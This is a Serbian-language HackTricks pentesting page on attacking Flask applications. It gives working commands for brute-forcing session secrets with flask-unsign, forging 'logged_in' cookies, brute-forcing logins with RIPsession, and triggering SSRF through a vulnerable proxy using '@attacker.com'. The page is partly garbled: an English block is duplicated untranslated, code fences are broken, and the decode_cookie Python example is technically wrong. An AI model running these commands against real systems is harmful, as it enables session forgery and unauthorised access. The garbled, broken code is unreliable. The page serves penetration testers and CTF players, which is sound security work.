hacktricks/network-services-pentesting/pentesting-web/flask.md
2024-02-10 13:11:20 +00:00

9.9 KiB

Flask

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove uz pomoć najnaprednijih alata zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Verovatno ako igrate CTF, Flask aplikacija će biti povezana sa SSTI.

Kolačići

Podrazumevano ime sesije kolačića je session.

Dekoder

Online Flask dekoder kolačića: https://www.kirsle.net/wizards/flask-session.cgi

Ručno

Dobijte prvi deo kolačića do prvog tačkog znaka i dekodirajte ga iz Base64 formata>

echo "ImhlbGxvIg" | base64 -d

Kolačić je takođe potpisan korišćenjem lozinke

Flask-Unsign

Komandna linija alatka za preuzimanje, dekodiranje, brute-force napad i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodiranje kolačića

To decode a Flask session cookie, you can use the `itsdangerous` library. The session cookie is usually named `session` and is base64 encoded. Here's an example of how to decode it:

```python
import base64
from itsdangerous import URLSafeTimedSerializer

def decode_cookie(cookie_value, secret_key):
    serializer = URLSafeTimedSerializer(secret_key)
    decoded_cookie = base64.b64decode(cookie_value)
    data = serializer.loads(decoded_cookie)
    return data

In the above code, cookie_value is the value of the session cookie and secret_key is the secret key used to sign the cookie. The URLSafeTimedSerializer class from itsdangerous library is used to deserialize the cookie value.

To use the decode_cookie function, you can pass the session cookie value and the secret key as arguments. It will return the decoded data from the cookie.

Keep in mind that decoding a session cookie requires the secret key used to sign the cookie. Without the secret key, it is not possible to decode the cookie and access its data.


```plaintext
Da biste dekodirali Flask sesijski kolačić, možete koristiti biblioteku `itsdangerous`. Sesijski kolačić obično se naziva `session` i kodiran je u base64 formatu. Evo primera kako ga dekodirati:

```python
import base64
from itsdangerous import URLSafeTimedSerializer

def decode_cookie(cookie_value, secret_key):
    serializer = URLSafeTimedSerializer(secret_key)
    decoded_cookie = base64.b64decode(cookie_value)
    data = serializer.loads(decoded_cookie)
    return data

U gornjem kodu, cookie_value je vrednost sesijskog kolačića, a secret_key je tajni ključ koji se koristi za potpisivanje kolačića. Klasa URLSafeTimedSerializer iz biblioteke itsdangerous koristi se za deserijalizaciju vrednosti kolačića.

Da biste koristili funkciju decode_cookie, možete proslediti vrednost sesijskog kolačića i tajni ključ kao argumente. Vratiće dekodirane podatke iz kolačića.

Imajte na umu da za dekodiranje sesijskog kolačića potreban je tajni ključ koji se koristi za potpisivanje kolačića. Bez tajnog ključa nije moguće dekodirati kolačić i pristupiti njegovim podacima.

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

Bruteforsiranje

Brute force je tehnika koja se koristi za pokušaj otkrivanja lozinke ili ključa tako što se sistem napada iscrpnom proverom svih mogućih kombinacija. Ova tehnika se često koristi u napadima na veb aplikacije kako bi se probila autentifikacija ili pristupilo zaštićenim resursima.

Da bi se izvršio brute force napad, napadač koristi automatizovani alat koji generiše i proverava veliki broj kombinacija lozinki ili ključeva. Ovaj proces može biti vremenski zahtevan, ali može biti uspešan ako je lozinka ili ključ slabo postavljen.

Da bi se zaštitili od brute force napada, preporučuje se korišćenje snažnih lozinki ili ključeva koji se sastoje od kombinacije slova, brojeva i specijalnih znakova. Takođe, implementacija mehanizama za detekciju i sprečavanje brute force napada može biti od velike pomoći.

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Potpisivanje

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Potpisivanje pomoću zastarelih (starih verzija)

U nekim starijim verzijama Flask-a, postoji mogućnost potpisivanja podataka pomoću itsdangerous biblioteke. Ova biblioteka omogućava generisanje digitalnog potpisa koji se može koristiti za verifikaciju integriteta podataka.

Da biste koristili ovu funkcionalnost, prvo morate instalirati itsdangerous biblioteku. To možete uraditi pomoću pip komande:

pip install itsdangerous

Nakon instalacije, možete koristiti itsdangerous biblioteku za generisanje potpisa. Evo jednostavnog primera:

from itsdangerous import Signer

# Kreiranje potpisivača
signer = Signer('tajni_kljuc')

# Potpisivanje podataka
potpisani_podaci = signer.sign('Podaci koje želite da potpišete')

# Verifikacija potpisa
try:
    verifikovani_podaci = signer.unsign(potpisani_podaci)
    print('Potpis je validan.')
    print('Verifikovani podaci:', verifikovani_podaci)
except:
    print('Potpis nije validan.')

U ovom primeru, tajni_kljuc predstavlja tajni ključ koji se koristi za generisanje potpisa. Možete koristiti bilo koji tajni ključ koji želite.

Napomena: Ova metoda potpisivanja se smatra zastarelom i preporučuje se korišćenje novijih metoda potpisivanja koje pruža Flask.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Komandna linija alatka za brute-force napade na veb sajtove koristeći kolačiće kreirane pomoću flask-unsign biblioteke.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi u Flask sesijskom kolačiću pomoću SQLmap-a

Ovaj primer koristi sqlmap eval opciju da automatski potpiše sqlmap payload-e za Flask koristeći poznati tajni ključ.

Flask Proxy za SSRF

U ovom članku je objašnjeno kako Flask dozvoljava zahtev koji počinje sa karakterom "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Koji je sledeći scenario:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Moguće je omogućiti unošenje nečega poput "@attacker.com" kako bi se izazvao SSRF.

Koristite Trickest da biste lako izgradili i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: